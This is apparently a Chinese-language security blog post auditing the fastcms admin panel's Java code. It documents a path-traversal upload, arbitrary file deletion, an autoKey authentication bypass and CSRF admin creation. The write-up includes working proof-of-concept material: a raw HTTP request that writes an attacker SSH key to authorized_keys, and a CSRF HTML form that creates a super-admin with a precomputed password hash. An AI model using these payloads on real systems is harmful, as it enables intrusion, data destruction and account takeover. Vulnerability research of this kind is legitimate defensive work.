fastcms代码审计

0x01 文件上传 (<=3.7.8)

接口/adminPage/main/upload

com/cym/controller/adminPage/MainController.java#upload

1
2
3
4
5
6
7
8
9
10
11
12
13
@Mapping("/adminPage/main/upload")
public JsonResult upload(Context context, UploadedFile file) {
try {
File temp = new File(FileUtil.getTmpDir() + "/" + file.getName());
file.transferTo(temp);

return renderSuccess(temp.getPath().replace("\\", "/"));
} catch (IllegalStateException | IOException e) {
logger.error(e.getMessage(), e);
}

return renderError();
}

可以看到file.getName()没有过滤,导致可以../../目录穿越到ssh目录,也没有对后缀名限制,可以进行写公钥获取shell。然后把路径“\\”替换“/”。

复现

ssh-keygen -t rsa -f id_rsa

然后上传

image-20231122173930609

可以看到成功上传

image-20231122174241618

可以看到成功登陆。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /adminPage/main/upload HTTP/1.1
Host: localhost:8080
Content-Length: 805
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZfrhKJObI9gpzcfk
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "macOS"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/adminPage/www
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=1677576503; _jpanonym="ZWMwM2YzYmEyY2ZiZDFhODVkODkwYmNkMGUxNzU2ZGUjMTY4MzE3NDg1Mzg5NyMzMTUzNjAwMCNZVEZoWWpFNU5XSmpaakE1TkRJek5UaGxNelF4WWprME5qa3lNekZqWkdJPQ=="; Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a=1683170841,1683202635; SOLONID=5ef99bb26ca845b5b3e528f215e802b4; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1700642329; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1700643843
Connection: close

------WebKitFormBoundaryZfrhKJObI9gpzcfk
Content-Disposition: form-data; name="file"; filename="../../../../../../../Users/username/.ssh/authorized_keys"
Content-Type: text/php


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiI95LRyBLW2By5/KuuMm8QBicakTVsGcQGTjkhHTkn5wCkmC9j4Bt1IrM3AGuGZALe/FJMG3EFsnps2usFNgNaoC0qMJ7agjAbLt4BTC4sqlhKjzGEjTU3qvT1jqa/icjF5dOjA/0B2o3h/0M1kT6vcihSHELEcVYi13d8wUPqugd+5uvZpy0giXQNdimZ6GnstBKL+GT9Pptf6ruLZVQvXvhDPMaeLD7/eU49MxVJG0LBBcXcppLYjrUPLVeqiq7kulIkfhHWQZpk4kUqjAtpLqNNhBupQaCekhaq9dJzPFRR6rV9SSAuytz2XEYqGrxm1ywIMd0rX6CsslQGCrPSyFk3zrY5knkOq908hyO6l2B+YPLf0CkmTbFv/RvQgIBDXUP5uWd8vfzjevXicIKNnHOIQR2PKM0bzPKKCkcH0sxpcuAHU+hL1qoX6J/2HusfZWzifCYkna0iJewQLYT06MUYy1L7AD94SEVxCeZi1fFq/K3dnlvSp5uXv2jbdc= snake@snakedeMac-mini.loca
------WebKitFormBoundaryZfrhKJObI9gpzcfk--

0x02 任意文件删除 (<=3.7.8)

com/cym/controller/adminPage/ExportController.java#dataImport()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@Mapping(value = "dataImport")
public void dataImport(UploadedFile file, Context context) throws IOException {
if (file != null) {
File tempFile = new File(homeConfig.home + "temp" + File.separator + file.getName());
FileUtil.mkdir(tempFile.getParentFile());
file.transferTo(tempFile);
String json = FileUtil.readString(tempFile, StandardCharsets.UTF_8);
tempFile.delete();

AsycPack asycPack = JSONUtil.toBean(json, AsycPack.class);
confService.setAsycPack(asycPack);

// 导入证书
if (asycPack.getCertList() != null) {
sqlHelper.deleteByQuery(new ConditionAndWrapper(), Cert.class);
sqlHelper.insertAll(asycPack.getCertList());
}
if (asycPack.getCertCodeList() != null) {
sqlHelper.deleteByQuery(new ConditionAndWrapper(), CertCode.class);
sqlHelper.insertAll(asycPack.getCertCodeList());
}

certService.writeAcmeZipBase64(asycPack.getAcmeZip());
}
context.redirect("/adminPage/export?over=true");
}

可以看到file.getName()没有过滤,导致可以../../目录穿越,也没有对后缀名限制,它先上传文件,然后从里面读,紧接着删除文件,只要控制传入文件名导致任意文件删除。

复现

image-20231123002900589

创建hookdd

构造数据包

image-20231123002959116

image-20231123003017749

完成删除

0x03 Admin 注入绕过认证 (全版本)

com/cym/controller/adminPage/AdminController.java#changePassOver()

1
2
3
4
5
6
7
@Mapping("changePassOver")
public JsonResult changePassOver(Admin admin) {

adminService.changePassOver(admin);

return renderSuccess();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public void changePassOver(Admin admin) {
if (admin.getAuth()) {
Admin adminOrg = sqlHelper.findById(admin.getId(), Admin.class);
if (StrUtil.isEmpty(adminOrg.getKey())) {
admin.setKey(authUtils.makeKey());
}
} else {
admin.setKey("");
}

if (StrUtil.isNotEmpty(admin.getPass())) {
admin.setPass(EncodePassUtils.encode(admin.getPass()));
} else {
admin.setPass(null);
}
sqlHelper.updateById(admin);

}

这里也是对admin.getId()判断,然后来改密码。

com/cym/controller/adminPage/AdminController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Mapping("addOver")
public JsonResult addOver(Admin admin, String[] parentId) {
if (StrUtil.isEmpty(admin.getId())) {
Long count = adminService.getCountByName(admin.getName());
if (count > 0) {
return renderError(m.get("adminStr.nameRepetition"));
}
} else {
Long count = adminService.getCountByNameWithOutId(admin.getName(), admin.getId());
if (count > 0) {
return renderError(m.get("adminStr.nameRepetition"));
}
}

adminService.addOver(admin, parentId);

return renderSuccess();
}

添加用户的路由, 可以控制admin,parentId,admin.getId()是否为空,不为空进入adminService.getCountByName,跟进getCountByName()

com/cym/service/AdminService.java#getCountByName

1
2
3
public Long getCountByName(String name) {
return sqlHelper.findCountByQuery(new ConditionAndWrapper().eq(Admin::getName, name), Admin.class);
}

可以看到进行sql查询,查看数据库是否存在用户。不存在此用户就在service层面创建用户,跟进adminService.addOver。

com/cym/service/AdminService.java#addOver()

1
2
3
4
5
6
7
8
9
10
11
12
13
public void addOver(Admin admin, String[] groupIds) {
sqlHelper.insertOrUpdate(admin);

sqlHelper.deleteByQuery(new ConditionAndWrapper().eq(AdminGroup::getAdminId, admin.getId()), AdminGroup.class);
if (admin.getType() == 1 && groupIds != null) {
for (String id : groupIds) {
AdminGroup adminGroup = new AdminGroup();
adminGroup.setAdminId(admin.getId());
adminGroup.setGroupId(id);
sqlHelper.insert(adminGroup);
}
}
}

这个方法直接将admin添加到数据库,deleteByQuery就是根据admin_id删除admin_group的数据,不重要,dmin.getType() == 1就是非管理员,管理员的type为0,不会走到这里。

以上两个路由都接收的Admin admin,

com/cym/model/Admin.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Admin extends BaseModel {
String name;
String pass;
// 谷歌秘钥
String key;
// 是否开启谷歌验证
@InitValue("false")
Boolean auth;

// 是否开启api
@InitValue("false")
Boolean api;

String token;
// 自动登录key
String autoKey;

// 类型 0 超管 1 受限用户
@InitValue("0")
Integer type;

admin类型里面包含了自动登录key,autoKey。

com/cym/controller/adminPage/LoginController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Mapping("autoLogin")
public JsonResult autoLogin(String autoKey) {

// 用户名密码
Admin admin = adminService.getByAutoKey(autoKey);
if (admin != null) {
// 登录成功
Context.current().sessionSet("localType", "local");
Context.current().sessionSet("isLogin", true);
Context.current().sessionSet("admin", admin);
Context.current().sessionRemove("imgCode"); // 立刻销毁验证码

// 检查更新
versionConfig.checkVersion();

return renderSuccess(admin);
} else {
return renderError();
}

}

这个功能点可以直接登录,什么二次验证都不用管。

com/cym/service/AdminService.java#getByAutoKey

1
2
3
public Admin getByAutoKey(String autoKey) {
return sqlHelper.findOneByQuery(new ConditionAndWrapper().eq(Admin::getAutoKey, autoKey), Admin.class);
}

就是从数据库取autokey。

所以以上changePassOver,addOver两个路由,在发送数据包的时候只要autoKey,直接就可以注入到数据库,然后通过autoLogin接口传入autoKey即可通过认证,绕过密码、google认证。

复现

image-20231123151820408

image-20231123151842991

提交数据包后,成功注入到数据库

image-20231123151947661

然后调用autoLogin接口,即可获取认证。

修改密码接口

image-20231123152251366

image-20231123152310239

成功注入到数据库

image-20231123152408162

然后调用autoLogin接口,即可获取admin认证。

0x04 csrf创建管理员 (全版本)

com/cym/model/Admin.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Admin extends BaseModel {
String name;
String pass;
// 谷歌秘钥
String key;
// 是否开启谷歌验证
@InitValue("false")
Boolean auth;

// 是否开启api
@InitValue("false")
Boolean api;

String token;
// 自动登录key
String autoKey;

// 类型 0 超管 1 受限用户
@InitValue("0")
Integer type;

admin类型里面包含的字段。

com/cym/controller/adminPage/AdminController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Mapping("addOver")
public JsonResult addOver(Admin admin, String[] parentId) {
if (StrUtil.isEmpty(admin.getId())) {
Long count = adminService.getCountByName(admin.getName());
if (count > 0) {
return renderError(m.get("adminStr.nameRepetition"));
}
} else {
Long count = adminService.getCountByNameWithOutId(admin.getName(), admin.getId());
if (count > 0) {
return renderError(m.get("adminStr.nameRepetition"));
}
}

adminService.addOver(admin, parentId);

return renderSuccess();
}

添加用户的路由, 可以控制admin,parentId,admin.getId()是否为空,不为空进入adminService.getCountByName,跟进getCountByName()

com/cym/service/AdminService.java#getCountByName

1
2
3
public Long getCountByName(String name) {
return sqlHelper.findCountByQuery(new ConditionAndWrapper().eq(Admin::getName, name), Admin.class);
}

可以看到进行sql查询,查看数据库是否存在用户。不存在此用户就在service层面创建用户,跟进adminService.addOver。

com/cym/service/AdminService.java#addOver()

1
2
3
4
5
6
7
8
9
10
11
12
13
public void addOver(Admin admin, String[] groupIds) {
sqlHelper.insertOrUpdate(admin);

sqlHelper.deleteByQuery(new ConditionAndWrapper().eq(AdminGroup::getAdminId, admin.getId()), AdminGroup.class);
if (admin.getType() == 1 && groupIds != null) {
for (String id : groupIds) {
AdminGroup adminGroup = new AdminGroup();
adminGroup.setAdminId(admin.getId());
adminGroup.setGroupId(id);
sqlHelper.insert(adminGroup);
}
}
}

这个方法直接将admin添加到数据库,deleteByQuery就是根据admin_id删除admin_group的数据,不重要,dmin.getType() == 1就是非管理员,管理员的type为0,不会走到这里。

com/cym/utils/EncodePassUtils.java#encode

1
2
3
4
5
6
7
8
9
10
11
12
public static String encode(String pass) {

if (StrUtil.isNotEmpty(pass)) {
pass = SecureUtil.md5(pass) + SecureUtil.md5(defaultPass);
}

return pass;
}

public static String encodeDefaultPass() {
return SecureUtil.md5(defaultPass) + SecureUtil.md5(defaultPass);
}

这是pass生成算法。直接调用生成pass添加到Admin。

由于Admin类型我们可控,所以构建Admin类型的时候,我们传入id,name,pass,type,api即可,然后在写入数据库直接写入账号密码(默认不创建密码,且后续根据id修改密码,id不可控,是一个随机数),所以这里创建好Admin类型,进行csrf即可。

复现

image-20231123035053907

调用算法生成123456对应pass

1
e10adc3949ba59abbe56e057f20f883ec7231c2ecd7fa89fd6bae6e81d2adc80

构造csrf数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.0.0.67:8080/adminPage/admin/addOver">
<input type="hidden" name="id" value="" />
<input type="hidden" name="name" value="test" />
<input type="hidden" name="api" value="false" />
<input type="hidden" name="type" value="0" />
<input type="hidden" name="parentId" value="" />
<input type="hidden" name="pass" value="e10adc3949ba59abbe56e057f20f883ec7231c2ecd7fa89fd6bae6e81d2adc80" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

action改为对应的网址,name改为要创建的用户。

模拟admin用户在线,引导admin用户点击链接

image-20231123035726533

点击后成功创建用户

image-20231123035814882

成功登陆

image-20231123040124874

总结

没办法,鉴权做的太好了,只能通过社工来进入后台,后台有命令执行功能点,没什么好审计rce的点,水几个垃圾洞好了。

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


fastcms代码审计
https://unam4.github.io/2023/12/14/fastcms代码审计/
作者
unam4
发布于
2023年12月14日
许可协议